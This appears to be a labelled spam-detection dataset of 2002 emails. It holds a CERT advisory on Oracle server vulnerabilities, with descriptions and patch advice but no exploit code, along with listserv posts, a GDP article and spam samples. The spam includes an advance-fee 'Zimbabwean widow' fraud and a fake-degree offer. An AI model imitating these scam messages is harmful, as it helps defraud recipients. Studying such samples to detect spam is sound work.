/Euro,"Updated files 8r.enc and 8r.etx with support for /Euro as suggested are available from Please, give them a try! Are there any problems, when using them with existing fonts and metrics w/o Euro? I intend to include 8r.enc with the next release of PSNFSS, if it proves to be ok. As to 8r.etx, I suggest to update the fontinst distribution accordingly. happy TeXing Walter",0,1 CERT Advisory ,cert-advisory@cert.org,"Thu, 14 Mar 2002 13:51:09 -0500",CERT Advisory CA-2002-08 Multiple vulnerabilities in Oracle Servers," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-08 Multiple vulnerabilities in Oracle Servers Original release date: March 14, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Systems running Oracle8i Database * Systems running Oracle9i Database * Systems running Oracle9i Application Server Overview Multiple vulnerabilities in Oracle Application Server have recently been discovered. These vulnerabilities include buffer overflows, insecure default settings, failures to enforce access controls, and failure to validate input. The impacts of these vulnerabilities include the execution of arbitrary commands or code, denial of service, and unauthorized access to sensitive information. I. Description Oracle Application Server includes a web server based on the Apache HTTP Server. Oracle extends the web server with a number of different components that can be used provide interfaces to database applications. These components include, but are not limited to, a Procedural Language/Structured Query Language (PL/SQL) module, Java Server Pages, XSQL Servlets, and Simple Object Access Protocol (SOAP) applications. The vulnerabilities referenced in this advisory were reported in several publications by David Litchfield of NGSSoftware: * Hackproofing Oracle Application Server http://www.nextgenss.com/papers/hpoas.pdf * NGSSoftware Insight Security Research Advisory #NISR20122001 http://www.nextgenss.com/advisories/plsql.txt * NGSSoftware Insight Security Research Advisory #NISR06022002A http://www.nextgenss.com/advisories/oraplsextproc.txt * NGSSOftware Insight Security Research Advisory #NISR06022002B http://www.nextgenss.com/advisories/oraplsbos.txt * NGSSoftware Insight Security Research Advisory #NISR06022002C http://www.nextgenss.com/advisories/orajsa.txt http://www.nextgenss.com/advisories/orajsp.txt For the complete list of Oracle-related vulnerabilities published by the CERT/CC, please search the Vulnerability Notes Database using the term 'Oracle'. Details about specific vulnerabilies can be found in the appropriate vulnerability note. Oracle has addressed these vulnerabilities with patches and recommended configuration changes. For more information please see the vendor information for Oracle in Appendix A. Buffer overflows Several buffer-overflow vulnerabilities exist in the way the PL/SQL module handles HTTP requests and configuration parameters. Default configuration settings in a range of components are insecure, and different components fail to apply access restrictions uniformly. These vulnerabilities expose both the systems running Oracle Application Server and the information held in the underlying databases to undue risk. Two more buffer overflow vulnerabilities exist in code that processes configuration parameters. These parameters processes configuration parameters that can be specified via the PL/SQL gateway web administration interface. By default, access to the PL/SQL gateway web administration interface is not restricted [VU#611776]. VU#500203 - Oracle9i Application Server Apache PL/SQL module vulnerable to buffer overflow via help page request VU#313280 - Oracle9i Application Server Apache PL/SQL module vulnerable to buffer overflow via HTTP Location header VU#750299 - Oracle9i Application Server Apache PL/SQL module vulnerable to buffer overflow via HTTP request VU#878603 - Oracle9i Application Server Apache PL/SQL module vulnerable to buffer overflow via HTTP Authorization header VU#659043 - Oracle9i Application Server Apache PL/SQL module vulnerable to buffer overflow via Database Access Descriptor password VU#923395 - Oracle9i Application Server Apache PL/SQL module vulnerable to buffer overflow via cache directory name Insecure default configurations The default installation of Oracle Application Server includes a number of insecure configuration settings, such as well-known default passwords and unrestricted access to applications and sensitive information. VU#307835 - Oracle9i Application Server OWA_UTIL procedures expose sensitive information VU#736923 - Oracle 9iAS SOAP components allow anonymous users to deploy applications by default VU#611776 - Oracle9i Application Server PL/SQL Gateway web administration interface uses null authentication by default VU#698467 - Oracle 9iAS default configuration allows access to ""globals.jsa"" file VU#476619 - Oracle 9iAS default configuration allows arbitrary users to view sensitive configuration files VU#712723 - Oracle 9iAS default configuration uses well-known default passwords VU#168795 - Oracle 9iAS allows anonymous remote users to view sensitive Apache services by default VU#278971 - Oracle 9i Application Server does not adequately handle requests for nonexistent JSP files thereby disclosing web folder path information Failure to enforce access controls Oracle Application Server does not uniformly enforce access restrictions. Different components do not adequately check authorization before granting access to protected resources. VU#180147 - Oracle 9i Database Server PL/SQL module allows remote command execution without authentication VU#193523 - Oracle 9i Application Server allows unauthenticated access to PL/SQL applications via alternate Database Access Descriptor VU#977251 - Oracle 9iAS XSQL Servlet ignores file permissions allowing arbitrary users to view sensitive configuration files VU#547459 - Oracle 9iAS creates temporary files when processing JSP requests that are world-readable Failure to validate input In one case, the PL/SQL module does not properly handle a malformed HTTP request. VU#805915 - Oracle9i Application Server Apache PL/SQL module does not properly handle HTTP Authorization header II. Impact The impacts of these vulnerabilities include the remote execution of arbitrary code, remote execution of commands and SQL queries, disclosure of sensitive information, and denial of service. Remote execution of arbitrary commands and code This section contains vulnerabilities that permit a remote intruder to cause a denial of service or execute arbitrary commands, code, or queries on the system. Some of these vulnerabilities allow execution with the privileges of the Apache process. On UNIX systems, the Apache process typically runs as the ""oracle"" user. On Windows systems, the Apache service typically runs as the SYSTEM user; therefore, an attacker could gain complete control of the system by exploiting these vulnerabilities. VU#500203 - Oracle9i Application Server Apache PL/SQL module vulnerable to buffer overflow via help page request VU#313280 - Oracle9i Application Server Apache PL/SQL module vulnerable to buffer overflow via help page request Location: header VU#750299 - Oracle9i Application Server Apache PL/SQL module vulnerable to buffer overflow via HTTP request VU#878603 - Oracle9i Application Server Apache PL/SQL module vulnerable to buffer overflow via HTTP Authorization header password parameter VU#659043 - Oracle9i Application Server Apache PL/SQL module vulnerable to buffer overflow via Database Access Descriptor password VU#923395 - Oracle9i Application Server Apache PL/SQL module vulnerable to buffer overflow via cache directory name VU#180147 - Oracle 9i Database Server PL/SQL module allows remote command execution without authentication VU#736923 - Oracle 9iAS SOAP components allow anonymous users to deploy applications by default VU#712723 - Oracle 9iAS default configuration uses well-known default passwords VU#611776 - Oracle9i Application Server PL/SQL Gateway web administration interface uses null authentication by default Unauthorized access to sensitive information A number of vulnerabilities disclose configuration information or expose data stored in underlying databases. Also, insecure applications could allow an intruder to execute SQL queries. Oracle system programmers may wish to examine these vulnerabilities in Oracle's sample pages to prevent similar vulnerabilities in their own Oracle applications. VU#307835 - Oracle9i Application Server OWA_UTIL PL/SQL application exposes procedures that are remotely accessible by arbitrary users VU#193523 - Oracle 9i Application Server allows unauthenticated access to PL/SQL applications via alternate Database Access Descriptor VU#698467 - Oracle 9iAS default configuration allows access to ""globals.jsa"" file VU#476619 - Oracle 9iAS default configuration allows arbitrary users to view sensitive configuration files VU#977251 - Oracle 9iAS XSQL Servlet ignores file permissions allowing arbitrary users to view sensitive configuration files VU#168795 - Oracle 9iAS allows anonymous remote users to view sensitive Apache services by default VU#278971 - Oracle 9i Application Server does not adequately handle requests for nonexistent JSP files thereby disclosing web folder path information VU#547459 - Oracle 9iAS creates temporary files when processing JSP requests that are world-readable Denial of service In the case where the PL/SQL module does not properly handle an HTTP request, a denial-of-service vulnerability exists. Also, an unsuccessful attempt to exploit a buffer overflow vulnerability could crash the Apache service. VU#805915 - Oracle9i Application Server Apache PL/SQL module does not properly handle HTTP Authorization header III. Solution Oracle has provided patches and workarounds that address most of these vulnerabilities. Sites using Oracle Application Server are encouraged to install the appropriate patches and make the recommended configuration changes provided by Oracle. Solutions and workarounds for specific vulnerabilities can be found in individual vulnerability notes and in the following Oracle security alerts: * Oracle Security Alert #29 http://otn.oracle.com/deploy/security/pdf/plsextproc_alert.pdf * Oracle Security Alert #28 http://otn.oracle.com/deploy/security/pdf/ias_modplsql_alert.pdf * Oracle Security Alert #25 http://otn.oracle.com/deploy/security/pdf/modplsql.pdf * Oracle Security Alert #22 http://otn.oracle.com/deploy/security/pdf/ias_soap_alert.pdf Security and patch information for Oracle products are available at the following locations: * Oracle Security Alerts http://otn.oracle.com/deploy/security/alerts.htm * MetaLink (registration required) http://metalink.oracle.com/ Sites using Oracle Application Server may also find David Litchfield's Hackproofing Oracle Application Server paper useful in describing the impacts and various interactions of these vulnerabilities. Apply a patch Oracle has released patches that address some of these vulnerabilities. Patch information can be found in Oracle Security Alert #28 and Oracle Security Alert #25 and on the MetaLink web site (registration required). Secure default configuration Oracle has provided documentation on changing vulnerable default configuration settings. For details, consult individual Vulnerability Notes and the Oracle Security Alerts referenced in Appendix A. _________________________________________________________________ The CERT Coordination Center thanks David Litchfield and Oracle for information used in this document. _________________________________________________________________ Authors: Art Manion, Jason Rafail, and Shawn Van Ittersum _________________________________________________________________ Appendix A. - Vendor Information This appendix contains statements provided by vendors for this advisory. We will update this section as vendors provide new or modified statements, and we will note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Appendix B. - References 1. http://www.kb.cert.org/vuls/id/500203 2. http://www.kb.cert.org/vuls/id/313280 3. http://www.kb.cert.org/vuls/id/750299 4. http://www.kb.cert.org/vuls/id/878603 5. http://www.kb.cert.org/vuls/id/659043 6. http://www.kb.cert.org/vuls/id/923395 7. http://www.kb.cert.org/vuls/id/307835 8. http://www.kb.cert.org/vuls/id/736923 9. http://www.kb.cert.org/vuls/id/611776 10. http://www.kb.cert.org/vuls/id/698467 11. http://www.kb.cert.org/vuls/id/476619 12. http://www.kb.cert.org/vuls/id/712723 13. http://www.kb.cert.org/vuls/id/168795 14. http://www.kb.cert.org/vuls/id/278971 15. http://www.kb.cert.org/vuls/id/180147 16. http://www.kb.cert.org/vuls/id/193523 17. http://www.kb.cert.org/vuls/id/977251 18. http://www.kb.cert.org/vuls/id/805915 19. http://www.kb.cert.org/vuls/id/547459 20. http://www.nextgenss.com/papers/hpoas.pdf 21. http://www.nextgenss.com/advisories/plsql.txt 22. http://www.nextgenss.com/advisories/oraplsextproc.txt 23. http://www.nextgenss.com/advisories/oraplsbos.txt 24. http://www.nextgenss.com/advisories/orajsa.txt 25. http://www.nextgenss.com/advisories/orajsp.txt 26. http://otn.oracle.com/deploy/security/pdf/plsextproc_alert.pdf 27. http://otn.oracle.com/deploy/security/pdf/ias_modplsql_alert.pdf 28. http://otn.oracle.com/deploy/security/pdf/modplsql.pdf 29. http://otn.oracle.com/deploy/security/pdf/ias_soap_alert.pdf ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-08.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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Revision History March 14, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPJDsH6CVPMXQI2HJAQHgiwP+JCqCffr8d7JQejHAqJFiZGs8bnOsz4+k Fw22F6K3xaZLptM8yHo8a1KDZPEgZ9q4PkCs+VzjHxZp+xkt3eASgGctZ75xUrh0 Tt5UhitcS0R6vuH3/jKJmMqaNyszxmdcndm49SxgzUNM4JnI+h4GfjO3pTGxKyqr Ly39M389sLE= =qEP3 -----END PGP SIGNATURE----- ",0,1 MSN Hotmail Support ,"""*address removed*""","Thu, 14 Mar 2002 18:12:44 -0800",RE: CST63079371ID - FW: No Cover @ Sky Niteclub this Sat!,"Dear Valued Customer: Thank you for writing to Hotmail Support. I understand your concern towards the unsolicited mail that you are receiving in your Hotmail account. Inconvenience caused is highly regretted. I appreciate your bringing this matter to our attention. We have closed the account (JennAdvert@hotmail.com) you reported in accordance with the Hotmail Terms of Use (TOU). It is a strict violation of the TOU for our members to send objectionable material of any kind or nature using our service. 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The following message is unsolicited commercial email, sent from a computer in Turlington Hall (with IP address 10.20.30.66). This message is also being sent to the Hotmail abuse department. -Daniel Westermann-Clark -----Original Message----- Return-Path: Received: from smtp.ufl.edu (sp47en1.nerdc.ufl.edu [128.227.74.47]) by ufl.edu (8.12.1/8.12.1/2.3.0) with ESMTP id g2E6C88N674764 for <*address removed*>; Thu, 14 Mar 2002 01:12:08 -0500 Received: from hotmail.com ([10.20.30.66]) by smtp.ufl.edu (8.12.2/8.12.1/2.3.5) with SMTP id g2E6BKUK084272 for <*address removed*>; Thu, 14 Mar 2002 01:11:42 -0500 Message-Id: <200203140611.g2E6BKUK084272@smtp.ufl.edu> From: ""JennAdvert@hotmail.com"" To: <*address removed*> Subject: No Cover @ Sky Niteclub this Sat! Sender: ""JennAdvert@hotmail.com"" Mime-Version: 1.0 Content-Type: text/plain; charset=""ISO-8859-1"" Date: Thu, 14 Mar 2002 01:11:11 -0500 Content-Transfer-Encoding: 8bit X-Scanned-By: NERDC Open Systems Group (http://open-systems.ufl.edu/services/virus-scan/) This Saturday Sky Niteclub is throwing the largest St. Patrick's Day party gainesville has ever seen before! THIS SATURDAY EVERYONE WILL GET IN FREE BEFORE 11PM!!! This saturday, we will also be bringing in a special guest DJ--Miami's DJ ZOG. DJ Zog is a power mixer on power 96, has countless residencies at top clubs in florida, and has a top selling CD in stores. WARNING: Capacity has been reached as early as 11:30 PM the last time DJ Zog came to gainesville. Please arrive as early as possible to ensure admission and avoid long lines. 18+ welcome. Doors open @ 10PM. Proper dress & ID required. This is aone time email, there is no need to ask to be removed.",0,1 "Jordan K Wiens <""*address removed*"">","Daniel Westermann-Clark <""*address removed*"">","Fri, 15 Mar 2002 10:15:11 -0500",Re: FW: No Cover @ Sky Niteclub this Sat!,"Thank you very much for notification of this issue, we will take all possible action against such abuses; if you have any other complaints or questions, feel free to email abuse@ufl.edu. -- Jordan Wiens UF Network Incident Response Team (352)392-2061 On Thu, 14 Mar 2002, Daniel Westermann-Clark wrote: > The following message is unsolicited commercial email, sent from a computer > in Turlington Hall (with IP address 10.20.30.66). > > This message is also being sent to the Hotmail abuse department. > > -Daniel Westermann-Clark > > -----Original Message----- > Return-Path: > Received: from smtp.ufl.edu (sp47en1.nerdc.ufl.edu [128.227.74.47]) > by ufl.edu (8.12.1/8.12.1/2.3.0) with ESMTP id g2E6C88N674764 > for <*address removed*>; Thu, 14 Mar 2002 01:12:08 -0500 > Received: from hotmail.com ([10.20.30.66]) > by smtp.ufl.edu (8.12.2/8.12.1/2.3.5) with SMTP id g2E6BKUK084272 > for <*address removed*>; Thu, 14 Mar 2002 01:11:42 -0500 > Message-Id: <200203140611.g2E6BKUK084272@smtp.ufl.edu> > From: ""JennAdvert@hotmail.com"" > To: <*address removed*> > Subject: No Cover @ Sky Niteclub this Sat! > Sender: ""JennAdvert@hotmail.com"" > Mime-Version: 1.0 > Content-Type: text/plain; charset=""ISO-8859-1"" > Date: Thu, 14 Mar 2002 01:11:11 -0500 > Content-Transfer-Encoding: 8bit > X-Scanned-By: NERDC Open Systems Group > (http://open-systems.ufl.edu/services/virus-scan/) > > > This Saturday Sky Niteclub is throwing the largest St. Patrick's Day party > gainesville has ever seen before! > > THIS SATURDAY EVERYONE WILL GET IN FREE BEFORE 11PM!!! > > This saturday, we will also be bringing in a special guest DJ--Miami's DJ > ZOG. DJ Zog is a power mixer on power 96, has countless residencies at > top clubs in florida, and has a top selling CD in stores. > > WARNING: Capacity has been reached as early as 11:30 PM the last time DJ > Zog came to gainesville. Please arrive as early as possible to ensure > admission and avoid long lines. > > 18+ welcome. Doors open @ 10PM. Proper dress & ID required. This is aone > time email, there is no need to ask to be removed.",0,1 Lucinda Samuel ,"kelley@astron.berkeley.edu, rosella@astron.berkeley.edu, kelley@astron.berkeley.edu, gloria@astron.berkeley.edu, deborah@astron.berkeley.edu","Mon, 18 Mar 2002 01:40:11 +0100",Impress her,"! eightieth but riemann and faucet ! scrawny or sarcophagus ",1,0 """Mrs. U. Shima"" ",URGENT ,"Sun, 17 Mar 2002 17:57:18 +1200",Please assist us,"Dear Sir/Madam, We are a family that need help from you, we are from Zimbabwe the south of Africa and we are farmers but we are having a very big problems with the President Mr. Robert Mugabe because my husband said that what he is doing to the white farmers is bad by sizing there farmlands and there personal belonging and also sending his mobs and aids to destroy there property. My husband was killed by his aids and they confisticated all our property so me and my two children had to ran to Chad a small country were we did not know anybody for safety were we are now seeking asylum, but the help we need from you is to help us claim the sum of nineteen million dollars (19,000,000.00 dollars) that my husband left or deposited in a finance house before his untimely death. We cannot go and make the claim and if we try the President have people all over that will know and they will seize the funds, so I , Mrs. Shima is writing to you in person after I saw your banking experience and as a big brother nation to help us and claim this fund you can stand as a partner to my late husband and send to the finance house an application for claim or retransfer of the funds to your account and you will have 30% of the total amount and if you like invest our share in your country but it's very important you help us to come over to your great country. Please forward to me your telephone/fax number and contact address to my confidential email address: euniceshima@excite.com , for security reason. Thank you and God bless us all. Yours sincerely, Mrs. U. Shima ",1,0 celeste campbell ,Lesson Study Listserv ,"Mon, 18 Mar 2002 23:55:20 -0800",Pre-lesson study training,"To those of you who have completed at least one cycle of lesson study -- What do you wish you had known or understood before you began that might be accomplished with some up-front training? If you were designing a summer training workshop for teachers and administrators who are interested in lesson study - what would you include? I am going to facilitate a novice lesson study team next fall and am thinking through how to set them up for the most powerful experience possible. What do you think of a 4-5 day summer workshop led by experienced Japanese and American lesson study practitioners (and researchers?) who would serve as coaches to the novices? Institute components: A general overview of the lesson study research, structure, protocols Demonstration research lessons with the participants first observing experienced observers then practicing collecting evidence of learning themselves Debrief sessions so the participants can practice the reflection protocol Sessions with experienced LS practitioners on crafting the broad multi-year lesson study goal and beginning discussions on the more narrow topic/concept goal I see the benefits of such an experience before attempting lesson study on one's own as three-fold: First - Simply to expose the interested teachers to the general process and benefits Secondly - To help them begin to develop the essential lenses (researcher, student, curriculum developer, etc.) Clea Fernandez, Makoto Yoshida and Catherine Lewis talk about in their research Finally - to begin building a support network I appreciate any recommendations or lessons learned you can share. Celeste Campbell UCLA Educational Leadership Program _________________________________________________________________ Join the world�s largest e-mail service with MSN Hotmail. http://www.hotmail.com --- Since the purpose of this listserv is to provide a communication network for individuals who are interested in lesson study, please feel free to post messages about lesson-study related announcements, events, and resources that you feel would be relevant to the lesson study community. If you are interested in discussing in-depth questions or insights, please use the collaborative lesson study discussion forum to conduct these online conversations: ""www.tc.columbia.edu/lessonstudy/discussionforums.html"". You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,1 Jeanne Vissa ,Lesson Study Listserv ,"Tue, 19 Mar 2002 09:23:55 -0500",Re: Pre-lesson study training,"these are important questions! Please include me on the responses! celeste campbell wrote: > > To those of you who have completed at least one cycle of lesson study -- > > What do you wish you had known or understood before you began that might be > accomplished with some up-front training? > > If you were designing a summer training workshop for teachers and > administrators who are interested in lesson study - what would you include? > > I am going to facilitate a novice lesson study team next fall and am > thinking through how to set them up for the most powerful experience > possible. > > What do you think of a 4-5 day summer workshop led by experienced Japanese > and American lesson study practitioners (and researchers?) who would serve > as coaches to the novices? > > Institute components: > A general overview of the lesson study research, structure, protocols > > Demonstration research lessons with the participants first observing > experienced observers then practicing collecting evidence of learning > themselves > > Debrief sessions so the participants can practice the reflection protocol > > Sessions with experienced LS practitioners on crafting the broad multi-year > lesson study goal and beginning discussions on the more narrow topic/concept > goal > > I see the benefits of such an experience before attempting lesson study on > one's own as three-fold: > > First - Simply to expose the interested teachers to the general process and > benefits > > Secondly - To help them begin to develop the essential lenses (researcher, > student, curriculum developer, etc.) Clea Fernandez, Makoto Yoshida and > Catherine Lewis talk about in their research > > Finally - to begin building a support network > > I appreciate any recommendations or lessons learned you can share. > > Celeste Campbell > UCLA Educational Leadership Program > > _________________________________________________________________ > Join the world’s largest e-mail service with MSN Hotmail. > http://www.hotmail.com > > --- > Since the purpose of this listserv is to provide a communication > network for individuals who are interested in lesson study, please > feel free to post messages about lesson-study related announcements, > events, and resources that you feel would be relevant to the lesson > study community. If you are interested in discussing in-depth > questions or insights, please use the collaborative lesson > study discussion forum to conduct these online conversations: > ""www.tc.columbia.edu/lessonstudy/discussionforums.html"". > > You are currently subscribed to lessonstudy as: jeannev@gse.upenn.edu > To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu --- Since the purpose of this listserv is to provide a communication network for individuals who are interested in lesson study, please feel free to post messages about lesson-study related announcements, events, and resources that you feel would be relevant to the lesson study community. If you are interested in discussing in-depth questions or insights, please use the collaborative lesson study discussion forum to conduct these online conversations: ""www.tc.columbia.edu/lessonstudy/discussionforums.html"". You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,1 """Sonal M. Chokshi"" ",Lesson Study Listserv ,"Tue, 19 Mar 2002 19:12:10 -0500",any other lesson study groups out there?,"Dear Lesson Study Community, I am currently working on a commissioned report for the NAS/ NRC Board of International Comparative Studies in Education (BICSE), which explores the impact of lesson study on the U.S. education community. As part of this report, I am compiling basic information about lesson study groups/ projects/ and other lesson-study related activities. I have heard about MANY lesson study groups out there that are not included in our National Database of Lesson Study Groups: www.tc.columbia.edu/lessonstudy/lsgroups.html. Our organization, the Lesson Study Group of Teachers College/ Columbia University, maintains a national database of lesson study groups for networking purposes. If you would like to include your group in this database, please respond to this e-mail immediately so that I can send you a questionnaire. Basic information about your group (such as grade levels, content areas, location, etc.) and contact information will be included on our website unless you indicate otherwise (and you will still be included in our research database). Thank you for your time! Sonal Chokshi Graduate Research Assistant Lesson Study Research Group Teachers College, Columbia University 525 W. 120th St., Box 118 New York, NY 10027-6696 (212) 678-3292 office (212) 678-3837 fax e-mail: lsrg@columbia.edu website: www.tc.columbia.edu/lessonstudy --- Since the purpose of this listserv is to provide a communication network for individuals who are interested in lesson study, please feel free to post messages about lesson-study related announcements, events, and resources that you feel would be relevant to the lesson study community. If you are interested in discussing in-depth questions or insights, please use the collaborative lesson study discussion forum to conduct these online conversations: ""www.tc.columbia.edu/lessonstudy/discussionforums.html"". You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,0 Jessica Ashbrook ,tex-fonts@math.utah.edu,"Tue, 19 Mar 2002 12:43:10 -0700",Re: eivib news,"D n ear Home O u wne v r , Your c t red m it doesn't matter to us ! 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[�ſ�ҷ��� ����] adjuodgs ,tkrlmjyknaksjau enlboemuvjim lbqnnbs xwyzbvshqasx,1,1 Deborah Barnett ,Lesson Study Listserv ,"Thu, 21 Mar 2002 11:32:36 -0500",questions for the group,"We have a group of teachers and administraters who have been to Greenwich and Patterson, NJ to get lesson study going in the district. Ten of our group members also traveled to Japan last summer for a month with Michigan State University to see their schools and how lesson study is actually done there. Our group would like to know if anyone has video accessing for Lesson Study. We have been working on Lesson Study and we would like to join in with others through distance learning if possible. We also need help finding funding for Lesson Study. Any suggestions or ways that you have done it is much appreciated. Thank you, Deborah Barnett Math Specialist Lake Shore Public Schools PH:586-285-8464 FX:586-285-8463 dbarnett@lsps.org --- Since the purpose of this listserv is to provide a communication network for individuals who are interested in lesson study, please feel free to post messages about lesson-study related announcements, events, and resources that you feel would be relevant to the lesson study community. If you are interested in discussing in-depth questions or insights, please use the collaborative lesson study discussion forum to conduct these online conversations: ""www.tc.columbia.edu/lessonstudy/discussionforums.html"". You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,0 Phil McLewin ,Phil McLewin ,"Thu, 21 Mar 2002 10:26:56 -0500",Business Week OnlineGDP The Mother of All Numbers,"Business Week Online:GDP: The Mother of All Numbers Register/Subscribe Home Close Window MARCH 18, 2002 BUSINESSWEEK INVESTOR GDP: The Mother of All Numbers The data aren't perfect, but the quarterly reports are still essential reading Gross domestic product. GDP. The acronym may conjure up nightmares of cramming for your Econ 101 final: C+I+G+(X-M). Relax. Think of GDP as the Swiss Army knife of the economic data. It's an all-in-one tool covering all the goods and services produced using labor and capital located in the U.S. The production of cars and computers are counted in GDP; so are bank transactions, dental appointments, a college education, and foreign tourists visiting Disney World. When we discuss real GDP, we are discussing the economy. That's why the GDP data, released by the Commerce Dept.'s Bureau of Economic Analysis (BEA), so critically affects the behavior of investors, Federal Reserve officials, and fiscal policymakers. Simply put, GDP is the sum of the output of the economy's sectors. Consumer spending, which accounts for two-thirds of the economy, reflects what households and nonprofit institutions spend on goods and services. Investment is what businesses spend on equipment, inventories, and structures, plus residential construction. The government sector includes federal outlays on everything from the military to highway projects, as well as state and local budgets. But public spending does not include checks for Social Security or welfare. Those are counted as personal income spent by consumers. Finally, imports are subtracted from exports to get a trade-balance figure called ""net exports."" The U.S. has long imported more than it exports, and this number will almost certainly be negative, making it a drag on economic growth. The BEA uses data from monthly reports and ""puts them together in a coherent way that's easy to understand,"" explains Steve Landefeld, director of the BEA. Monthly retail reports and auto sales are used to estimate part of consumer spending; the manufacturing inventories and sales reports go into business investment; and the international trade reports add up net exports. (At businessweek.com/investor/primer.htm, you can read previous BusinessWeek Investor articles that explain each of these monthly reports.) The BEA then seasonally adjusts the raw data and totals them up for nominal GDP. Real GDP--that is, after taking out the effects of inflation--is adjusted for price changes using a method called chain-weighting that makes sure the price changes aren't skewed when people substitute a cheaper product. Wall Street doesn't pay attention to the level of GDP but rather its growth rate. The percentage change is expressed at an annual rate--in other words, how much the economy would grow for a whole year if the quarter's GDP change were repeated for three more quarters. When a reported growth rate is vastly different from expectations, the market can react strongly. In January, economists expected the GDP report to show the economy, which is officially in recession, had contracted in the fourth quarter, just as it had in the third. Instead, GDP grew at a 0.2% annual rate last quarter. That increase, taken as a sign that the recession was ending, sent the stock market soaring. Then, on Feb. 28, the BEA revised fourth-quarter growth to 1.4%. Stock prices rallied early in the day until Enron worries pulled the market down. In 2002, economists expect inventories to generate the bulk of GDP growth. Although the sector is quite small, it is extremely volatile. Keep in mind that GDP is designed to measure what has been produced or consumed in any given quarter. So the level of GDP does not include all the inventories on hand (since some of those goods were produced in quarters or even years before), but only how much those inventories have changed in the quarter. If businesses build up their stockpiles, inventory accumulation adds to the level of GDP. If those stockpiles decline, it subtracts from the GDP total. Accounting for inventories is where GDP math gets a little strange. That's because, in some cases, businesses can draw down inventories and yet add to GDP growth. In fact, that's what economists think is happening right now. Businesses cut their inventories at a $120 billion annual rate in the fourth quarter. This quarter, economists forecast, companies are reducing inventories by only about $60 billion. That slower rate of inventory drawdown is a plus for GDP growth. Indeed, the expected $60 billion difference would add a large 2.5 percentage points to the first quarter's GDP growth. The BEA takes three passes at GDP. The first release, available on the last Thursday of the month right after the quarter ends, is called the advance report. A month later is the preliminary, which usually includes the BEA's estimate for corporate profits and margins economywide. Near the end of the subsequent quarter is the final report. So on Mar. 28, we'll get the final numbers on the fourth quarter. Yearly and benchmark revisions come at regular intervals for five years. To get the GDP report, log on to www.bea.doc.gov. Although the GDP release is one of the longest-running government economic reports--it dates to 1929--it is still a work-in-progress as the BEA tries to address some of its flaws. The first problem is one of timing; the quarterly numbers lag behind the monthly reports. ""By the time the GDP comes out, it can be a nonevent because we have most of the monthly numbers,"" says James Paulsen, chief investment officer of Wells Capital Management. That's why the pros use other data to estimate monthly GDP (table). Next, the BEA has little data on the enormous private service sector. Instead, it estimates spending, from medical care to dry cleaning. Finally, the revisions can rewrite what we thought we knew about the economy, giving bad investment and policy signals. An extreme example took place in early 2000, says Landefeld. The original reports showed an economy surging by 4.8% in the first quarter. But as the BEA gathered more information, real GDP growth was revised down to 2.3%. If we knew the revised growth rate earlier, Landefeld notes, investors ""could have rethought their profit expectations and thus their investments."" In addition, the Fed might not have kept raising interest rates as late as May, 2000, if it realized the economy was sputtering. ""Bad data is a significant problem for economic policy,"" Landefeld admits. To correct these failings, the BEA has requested $11 million in additional appropriations for fiscal 2003. The money would be used to move up the release of the trade data and gather real data on the service sector, which will reduce the magnitude of the revisions. Even with its drawbacks, the GDP report should not be ignored. The best portfolios are ones diversified into a broad swath of industries. And the GDP report is one-stop shopping for information on what's going on just about anywhere in the U.S. economy. This is the 13th in an occasional series showing how major economic indicators can affect the stock and bond markets. By Kathleen Madigan Copyright 2000-2001, by The McGraw-Hill Companies Inc. All rights reserved. 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",1,1 Milo ,"kelley@astron.berkeley.edu, rachel@astron.berkeley.edu, carissa@astron.berkeley.edu, stacy@astron.berkeley.edu, herbert@astron.berkeley.edu, pearlie@astron.berkeley.edu, ronda@astron.berkeley.edu, tia@astron.berkeley.edu","Mon, 25 Mar 2002 00:08:12 -0200",dont be such a looser!," Hey buddy, Are you stuck in a job that is leading you on the path to no where? Do you wish you could better your financial situtation? We can help you obtain a College Degree with classes, books, and exams from a reputable Univ, transcripts included. Call me anytime at 1 - 206 - 350 - 3737 for detailed information. Regards, Milo Admission Office ",1,0 Kelley McDonald ,everyone@astron.Berkeley.EDU,"Mon, 25 Mar 2002 18:15:15 -0800",New mailing list for linux users,"Hi everyone, I decided it wouldn't be a bad idea to have an email list that has people interested in linux and its issues on it. Please r.s.v.p. if you want to be on that list. Thanks, Kelley ------------------------------------------------------ Kelley McDonald Sr. Systems Administrator Astronomy Department kelley@astro.berkeley.edu ------------------------------------------------------ ",0,0 """Ivan R. King"" ",kelley@astron.Berkeley.EDU,"Mon, 25 Mar 2002 18:17:11 -0800",Re: New mailing list for linux users," > I decided it wouldn't be a bad idea to have an email > list that has people interested in linux and its issues > on it. Please r.s.v.p. if you want to be on that list. > Yes, please put me on it. == Ivan ",0,0 agilbert@astro.berkeley.edu,kelley@astron.Berkeley.EDU,"Mon, 25 Mar 2002 18:17:36 -0800",Re: New mailing list for linux users,"I'd like to be on it, please. -Andrea ",0,0 Robert Crockett ,Kelley McDonald ,"Mon, 25 Mar 2002 18:18:12 -0800",Re: New mailing list for linux users,"kelley, I'm in. --------------------------------------------------------------------- Robert K. Crockett Phone: 510.642.4223 Graduate Student Researcher FAX: 510.642.3411 Department of Astronomy email: mookie@astron.berkeley.edu UC Berkeley http://astron.berkeley.edu/~mookie Berkeley, CA 94720-3411 --------------------------------------------------------------------- On Mon, 25 Mar 2002, Kelley McDonald wrote: > Hi everyone, > > I decided it wouldn't be a bad idea to have an email > list that has people interested in linux and its issues > on it. Please r.s.v.p. if you want to be on that list. > > Thanks, > Kelley > 